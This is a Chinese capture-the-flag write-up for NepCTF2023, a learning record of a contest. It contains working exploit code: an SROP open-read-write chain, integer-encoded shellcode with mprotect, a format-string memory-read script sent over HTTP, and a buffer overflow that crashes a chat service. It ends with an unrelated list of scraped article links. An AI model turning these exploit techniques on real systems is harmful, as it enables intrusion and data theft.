0x00 闲言碎语

2023.8.14 记录11-13的紧张刺激。46名结赛。

非常高兴能够参加NepCTF2023,以一个初出茅庐的新人的身份参加。ctf的乐趣在于学习和探索,同时我也有想证明自己的成分。

连续两天的凌晨四点睡觉,让我体会着比赛的魅力。每当我纠结一道题(code是第一晚,陌生的语言和login是第二晚)到凌晨四点沉沉睡去之后,第二天九点醒来总会伴随着灵光一闪。随后势如破竹解开题目。

真的很满足。

比赛的同时还被其他的一些事情牵制。比较遗憾的是比赛的最后结束一分钟才做出来一道pwn,如果那题做出来我就能杀进前四十,拿到一个证书和贴纸。可是没做出来就是没做出来,谁又能决定当下发生什么呢。

就像三哈师傅说的,ctf的魅力是挑战未知、知识、收获,还有友谊和成长。

这个过程的收获真的很丰富啊,Nep的师傅出的pwn题拓展性强,难度不高,大大的拓展了pwn在我眼里的可能性。而简单的misc也让我看到了网络空间安全世界的各种可能性。

我很享受这个比赛。

不过据说46也有贴纸,我的心里还算是有些安慰。终于能有一次只凭借自己的实力,拿到了一份属于自己的ctf的荣誉啊!

总体来说,也算是满载而归了。打完比赛的时候,后劲很大,回味无穷。仿佛刚刚结束了一场马拉松(虽然我没跑过哈哈哈哈)。

以下的wp是按照当时的解题顺序写的,参照前言也能窥见一二我当时的状态和比赛的乐趣。

0x01 srop

本题算是pwn的签到题目,使用srop手法控制参数。

使用seccomp-tools发现有沙盒,只能使用open,read和write。

难点是调节寄存器,需要一定调试能力。我调了一段时间。

这里orw三个函数goto 0009,0009是return ALLOW说明允许执行。

如果是goto 0010,就是禁用了。

前面有一些没用的参数设置(请忽略)。下面exp里有详细的注释。

(这题想走ret2csu打orw,但是卡在call那里了,不知道为什么找不到原因)

我到时候自己看,懂的师傅教教

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') setup('./pwn')
#libset('libc-2.23.so')
rsetup('nepctf.1cepeak.cn',30418)
evgdb('b 0x4007A8') lv = 0x000000000040074e
rsir15 = 0x0000000000400811
rdi =0x0000000000400813
pp6 = 0x40080A
read = 0x400799
bss = 0x601500
r3 = 0x004007F0
nothing = 0x040082c
syscall = 0x004005B0
srop = 0x400750 frame = SigreturnFrame()
frame.rax = 0x20
frame.rdi = 0
frame.rsi = 0 #rdi
frame.rdx = bss #rsi
frame.rcx = 0x400 #rdx
frame.rip = syscall
frame.rsp = bss
#上面这些是设置寄存器参数。
#但是由于是call syscall这个库函数,而不是直接syscall
#寄存器会存在一些偏移,要经过调试得出
#(如上,例如rsi实际上存到rdi去了,rdx的存到rsi了) sl(b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'+p64(0x601020)+p64(rdi)+p64(0xf)+p64(syscall)+bytes(frame)+b'flag\x00')
#这边使用rdi传递0xf参数给syscall,进行SROP
#(这里为什么不直接orw?因为无法直接控制rdx,ret2csu行不通,卡在call r12那里,具体原因赛后看看)
##############占个位置,到时候搞清楚了插上旗子【 】############3
#所以用srop走 flag = 0x601610
frame2 = SigreturnFrame()
frame2.rax = 0x20
frame2.rdi = 2 #rax
frame2.rsi = flag #rdi
frame2.rdx = 0 #rsi
frame2.rcx = 0x20 #rdx
frame2.rip = syscall
frame2.rsp = flag+8 flag = 0x601610
frame3 = SigreturnFrame()
frame3.rax = 0x20
frame3.rdi = 0 #rax
frame3.rsi = 3 #rdi
frame3.rdx = bss+0x400 #rsi
frame3.rcx = 0x80 #rdx
frame3.rip = syscall
frame3.rsp = 0x601728 flag = 0x601610
frame4 = SigreturnFrame()
frame4.rax = 0x20
frame4.rdi = 1 #rax
frame4.rsi = 1 #rdi
frame4.rdx = bss+0x400 #rsi
frame4.rcx = 0x80 #rdx
frame4.rip = syscall
frame4.rsp = 0x601838
#直接设置参数打orw
sme = p64(rdi)+p64(0xf)+p64(syscall)
pause()
sl(sme+bytes(frame2)+b'flag\x00\x00\x00\x00'+sme+bytes(frame3)+sme+bytes(frame4)+p64(0xdeadbeef))
#栈溢出 ia()

orw拿到flag。

0x02 与AI共舞的哈夫曼

让gpt写一下解压的python,训练一下就可以得到答案。

import heapq
import os class HuffmanNode:
def __init__(self, char, freq):
self.char = char
self.freq = freq
self.left = None
self.right = None def __lt__(self, other):
return self.freq < other.freq def build_huffman_tree(frequencies):
heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
heapq.heapify(heap) while len(heap) > 1:
left = heapq.heappop(heap)
right = heapq.heappop(heap)
merged = HuffmanNode(None, left.freq + right.freq)
merged.left = left
merged.right = right
heapq.heappush(heap, merged) return heap[0] def build_huffman_codes(node, current_code, huffman_codes):
if node is None:
return if node.char is not None:
huffman_codes[node.char] = current_code
return build_huffman_codes(node.left, current_code + '0', huffman_codes)
build_huffman_codes(node.right, current_code + '1', huffman_codes) def compress(input_file, output_file):
with open(input_file, 'rb') as f:
data = f.read() frequencies = {}
for byte in data:
if byte not in frequencies:
frequencies[byte] = 0
frequencies[byte] += 1 root = build_huffman_tree(frequencies)
huffman_codes = {}
build_huffman_codes(root, '', huffman_codes) compressed_data = ''
for byte in data:
compressed_data += huffman_codes[byte] padding = 8 - len(compressed_data) % 8
compressed_data += '0' * padding with open(output_file, 'wb') as f:
# Write frequency information
f.write(bytes([len(frequencies)]))
for byte, freq in frequencies.items():
f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF])) # Write compressed data
for i in range(0, len(compressed_data), 8):
byte = compressed_data[i:i+8]
f.write(bytes([int(byte, 2)]))
def decompress(input_file, output_file):
with open(input_file, 'rb') as f:
data = f.read() # Read frequency information
num_symbols = data[0]
frequencies = {}
index = 1
for _ in range(num_symbols):
byte = data[index]
freq = (data[index + 1] << 24) | (data[index + 2] << 16) | (data[index + 3] << 8) | data[index + 4]
frequencies[byte] = freq
index += 5 root = build_huffman_tree(frequencies) decoded_data = []
current_node = root
for byte in data[index:]:
bits = [int(bit) for bit in f"{byte:08b}"]
for bit in bits:
if bit == 0:
current_node = current_node.left
else:
current_node = current_node.right if current_node.char is not None:
decoded_data.append(current_node.char)
current_node = root with open(output_file, 'wb') as f:
f.write(bytes(decoded_data)) if __name__ == "__main__":
input_file = 'input.txt'
compressed_file = 'compressed.bin'
decompressed_file = 'decompressed.txt' # 解压缩文件
decompress(compressed_file, decompressed_file)

0x03 小叮弹钢琴

本人pwn手+业余音乐人,撞到专业枪口上了()。

丢进水果。

前面的长长短短是摩斯电码,后面就是数字了,得到信息:

YOU SHOULD USE THIS TO XOR SOMETHING

0x370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17

然后根据前面是NepCTF,去异或试了几下,发现得到的是you,那么就是需要异或YOU SHOULD USE THIS TO XOR SOMETHING这一个字符串无疑了。

去异或了一下得到答案。

~/ctf/match/nep2023/piano » python exp.py                                                                                                                                          N1nE@N1nEmAn
NepCTF{h4ppy_p14N0}NepCTFqh4pp
# 原始文本和密文
text = "youshouldusethistoxorsomething"
ciphertext = bytes.fromhex("370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17") # 将文本转换为字节序列
text_bytes = text.encode() # 逐位异或操作并生成解密结果
decrypted_bytes = bytes([a ^ b for a, b in zip(text_bytes, ciphertext)]) # 将解密结果转换为字符串
decrypted_text = decrypted_bytes.decode() print(decrypted_text)

0x04 ConnectedFive

下五子棋,下下下下,下赢了就行了。

本题注意的就是要提供稳定的网络环境哈哈哈哈哈别下一半卡了,好多师傅说卡。

嗯,没啥多说的。

0x05 codes

这题很抽象,也是我花时间最长的一题(是不是有点蠢……),所以我花多一点篇幅讲讲。

1.初步尝试:shellcode

在得知sys,env,open,read,write都被过滤之后,作为一个pwn手首先想到了就是使用shellcode。发现\x也被过滤,转而写了个可打印字符串的shellcode,然后又发现不如直接用整数冒充shellcode。

#include <stdio.h>
#include <stdlib.h>
int main() {
// 声明一个函数指针
void (*func_ptr)();
long long int values[] = {
0x006362616858556a,
0x5e000001ff685f54,
0x6858016a5f50050f,
0xe3c1485b766e652f,
0x03486e69622f6820,
0x6a5e5453006a241c,
0x00000000050f5a08
};
func_ptr = (void (*)()) values;
long long int a = values;
a = a & 0xfffffffff000;
mprotect(a, 0x1000, 7);
// 调用函数指针,执行跳转到字符串
func_ptr(); return 0;
}

很帅吧,可惜我没想到出题人这么阴,mprotect也禁了……想尝试写一个/bin/env的sh文件,然后再命令/bin/sh 执行他。也不行捏。

2.字符串拼接posix_spawn

可以执行任意命令,但是env命令没有回显,白给。

并且尝试了子进程创建等等方式,无果。

#include <stdio.h>
#include <string.h>
#include <spawn.h> int main() {
pid_t child_pid;
char path[100] = "/bin/l"; // 初始路径
strcat(path, "s"); // char *const argv[] = { path, "-l","/dev", NULL }; // 命令行参数,包括路径和命令参数 int result = posix_spawn(&child_pid, path, NULL, NULL, argv, NULL);
if (result == 0) {
// 等待子进程结束
waitpid(child_pid, NULL, 0);
} else {
// 错误处理
perror("posix_spawn");
} return 0;
}

3.惊人的答案

打印虚空变量即可。

#include <stdio.h>

int main(int argc, char *argv[], char *e[]) {
for (int i = 0; e[i] != NULL; i++) {
printf("%s\n", e[i]);
} return 0;
}

0x06 陌生的语言

本题根据提示可知是小魔女学园的月文和龙语。

比较考察搜索能力。有意思的事情是在对照完月文之后,直接搜索提示的人名和小魔女学园HEART IS YOUR MAGIC可以得到flag(相信的心就是你的魔法!)。

不过出题人在前面加了个NEPNEP,所以最后还是灰溜溜查龙文才做出来。

https://tieba.baidu.com/p/4945307221#/

查就完事了。

在这里夸夸手机版bing和百度贴吧,感谢你们强劲的搜索能力和用户的高质量。



0x07 login

0.前言碎碎念

这题本来是抢三血的,奈何不知道怎么发送格式,白白浪费了大好时机,凌晨三点半眼睁睁看着三血被抢走。还是没能拿到一个属于自己的前三。

顺便记录一下用dockerfile复现的方式。

参考文章

~/ctf/match/nep2023/review » sudo systemctl restart docker
重启服务
~/ctf/match/nep2023/review » sudo docker build -t login .
执行dockerfile
~/ctf/match/nep2023/review » docker images
查看是否创建成功
~/ctf/match/nep2023/review » docker run -i -d -P login
创建容器
~/ctf/match/nep2023/review » docker ps
查看端口 结束的话使用docker stop docker的名字 给docker的程序调试
ps -ef | grep 'login'
看进程
sudo gdb attach __id__
来进行debug docker exec -it <CONTAINER_ID_or_NAME> /bin/bash
进入docker docker rmi -f <IMAGE_ID>
删除镜像

出题师傅给的附件run.sh要删去

echo $GZCTF_FLAG>/flag.txt
export GZCTF_FLAG=flag{test}

改为

#!/bin/bash

while true; do
# 复制 flag.txt
cp /flag.txt /home/ctf/
# 在 chroot 环境中执行 login 程序
chroot /home/ctf /bin/bash -c "/bin/bash -c "./login" " # 休眠 60 分钟
sleep 3600
done

因为我们这儿没有GZCTF的环境变量,不然的话就会像我一样复现不出来flag哈哈哈。

wp

1.静态分析

(取附件方法在2.里头,两个方法)

本题查看ida,发现在登录的时候存在格式化字符串漏洞。

可以查到栈上所有数据。



从这个函数发现flag是被加载到了堆里。



开头执行了这个函数。

所以我们要做的就是在栈上把堆的地址找出来,然后用%s打印出flag。

根据ida的栈值除以8,发现偏移在15090左右,然后用for循环一个一个看,发现15059存在堆地址。(其中第16个是字符串‘./www’的地址,这个是pie地址的,所以可以形成对照确定这个是堆地址而不是程序自身地址)

找到堆地址之后 二分法爆破。

一开始想从前0x1000爆破到后0x1000,有点太慢了,所以改了以已知为中心爆破

2.实施攻击

2.1 下载附件

随便登录一下,一直走到这儿。

因为点击readme.txt之后,得到一个下载链接虽然进不去。但是把readme.txt改成login之后就下载附件了。

输入ip:32769/view_file/login作为链接即可下载附件。

出题师傅的方法是ctrl+u查看源码。(要 学 一 点 web!!!)



然后使用list_flies。

这样是相对路径。

这样就是/的绝对路径了。从这里直接点login也可以下载到,会跳转到刚才我说的链接去。

2.2 调试爆破栈上内存 寻找自己偏移

密码就是随便输入就行,user这里看ida知道是有格式化字符串漏洞。

本身偏移

输入:

结果:

堆偏移

输入:



结果:

2.3 任意地址读

这题学到了GET请求的方式,以及POST,以后遇到http的题目再也不怕啦!

存着好好学学。

要注意,先登录一下,并且点开界面还有readme.txt,让他把堆地址都载入栈中(执行相应malloc)。

注意有时候输出的%s太大会崩……

from evilblade import *
import requests context.log_level = 'debug' value = p64(0x55d023f147a0)
#这里写使用%15059$p手动泄露的地址。
value1 = value
value2 = value url = "http://106.75.63.100:34897/login"
#这里写ip和端口 while True:
#加的
value1 = p64(u64(value1)+0x10) # 增加0x10的步长
params1 = {
"user": b'%36$s---' + value1,
"password": "a"
}
#user 这么写是因为本身偏移是35,但是一开始写地址的话存在\x00截断
#所以把地址写在了后面,就变成偏移36了
#并且这里除了%36$s还要填充八个字节,保证对齐
dpx('nows value1',u64(value1))
response1 = requests.get(url, params=params1)
dp('message\n', response1.text)
#dp就是dataprint,我自己库 魔刀千刃evilblade 的实现函数。
if 'CTF' in response1.text:
break value2 = p64(u64(value2)-0x10) # 减少0x10的步长
params2 = {
"user": b'%36$s---' + value2,
"password": "a"
}
dpx('nows value2',u64(value2))
response2 = requests.get(url, params=params2)
dp('message\n', response2.text) if 'CTF' in response2.text:
break #sleep(0.1) # 等待一段时间再继续下一次请求

0x08 HRP-CHAT-3

遗憾离场。

根据源码得知,子程序崩溃后,进入安全模式可以拿到flag。

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug') rsetup('nepctf.1cepeak.cn',31526)
ru(b'help')
sl(b'Login\n')
sla('6',b'Login\n'*0x1000)
#然后随意输入数据d73-16f1-418d-a,乱点回车
#子程序崩溃进入安全模式
#Safe_Mode_Key
ia()

一顿乱打(一定要连续输入回车,溢出info数组)让他崩溃,然后输入Safe_Mode_Key拿到flag。

期待剩下三个flag的解法……到时候看看别人wp学习学习。

0xFF 尾声

最后再次感谢所有Nepnep联合战队成员为比赛做出的贡献!体验非常好!特别感谢HRP师傅对我在pwn方向的一些指导。希望大家一起进步!

NepCTF2024,再见!

Nep2023的wp的更多相关文章

  1. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  2. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  3. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  4. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

  5. 搜狗输入法wp风格皮肤

    换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...

  6. 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19

    上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...

  7. 【WP开发】读写剪贴板

    在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...

  8. 【WP开发】不同客户端之间传输加密数据

    在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...

  9. 【WP开发】加密篇:双向加密

    说起双向加密,如果以前在.NET开发中弄过加/解密的朋友都不会陌生,常用的算法有DES.AES等.在RT应用程序中,也提供了加密相关的API,算法自然是一样的,只是API的封装方式不同罢了,因为RT不 ...

  10. 【WP 8.1开发】How to 图像处理

    在今天的吹牛节目开始之前,先交代一件事: 关于玩WP 8.1开发所使用的VS版本问题.对版本的要求是2013的Update2,这是最低要求,只要是这个版本或以上都可以,而update3,update4 ...

随机推荐

  1. vue全家桶进阶之路26:Vue.js 3.0与Vue.js 2.x 的比较和注意事项

    Vue.js 3.0 是 Vue.js 框架的最新版本,于 2020 年 9 月正式发布.Vue.js 3.0 主要的改进和新特性包括: 更好的性能:Vue.js 3.0 使用了更快的虚拟 DOM 实 ...

  2. Vue 全局避免按钮重复点击

    这里用到的 Vue.directive 自定义指令 自定义指令是对普通DOM元素进行的底层操作,它是一种有效的的补充和扩展,不仅可以用于定义任何的dom操作,并且是可以复用的 在 main.js 中写 ...

  3. kafka生产者你不得不知的那些事儿

    前言 kafka生产者作为消息发送中很重要的一环,这里面可是大有文章,你知道生产者消息发送的流程吗?知道消息是如何发往哪个分区的吗?如何保证生产者消息的可靠性吗?如何保证消息发送的顺序吗?如果对于这些 ...

  4. 密码暴力破解工具——九头蛇(hydra)使用详解及实战

    转载出处:https://zhuanlan.zhihu.com/p/540998739 二.使用方法 语法:Hydra 参数 IP 服务 参数: -l login 小写,指定用户名进行破解 -L fi ...

  5. 代码随想录算法训练营Day35 贪心算法

    代码随想录算法训练营 代码随想录算法训练营Day35 贪心算法| 860.柠檬水找零 406.根据身高重建队列 452. 用最少数量的箭引爆气球 860.柠檬水找零 题目链接:860.柠檬水找零 在柠 ...

  6. v8 study

    v8环境搭建看这里 现在的v8采用的是Ignition(JIT生成) + TurboFan(优化) v8调试 安装pwngdb git clone https://github.com/pwndbg/ ...

  7. Anaconda3安装(Win_x64)

    一.获取Anaconda3 链接:https://pan.baidu.com/s/14Imqk1KBsB84Mwzebpv2BA?pwd=no2x 提取码:no2x --来自百度网盘超级会员V4的分享 ...

  8. WPF 入门笔记 - 03 - 样式基础

    程序的本质 - 数据结构 + 算法 本篇为学习李应保老师所著的<WPF专业编程指南>并搭配WPF开发圣经<WPF编程宝典第4版>以及痕迹大佬<WPF入门基础教程系列> ...

  9. 深度学习应用篇-推荐系统[12]:经典模型-DeepFM模型、DSSM模型召回排序策略以及和其他模型对比

    深度学习应用篇-推荐系统[12]:经典模型-DeepFM模型.DSSM模型召回排序策略以及和其他模型对比 1.DeepFM模型 1.1.模型简介 CTR预估是目前推荐系统的核心技术,其目标是预估用户点 ...

  10. 现代C++学习指南-方向篇

    C++是一门有着四十年历史的语言,先后经历过四次版本大升级(诞生.98.11.17(20),14算小升级).每次升级都是很多问题和解决方案的取舍.了解这些历史,能更好地帮助我们理清语言的发展脉络.所以 ...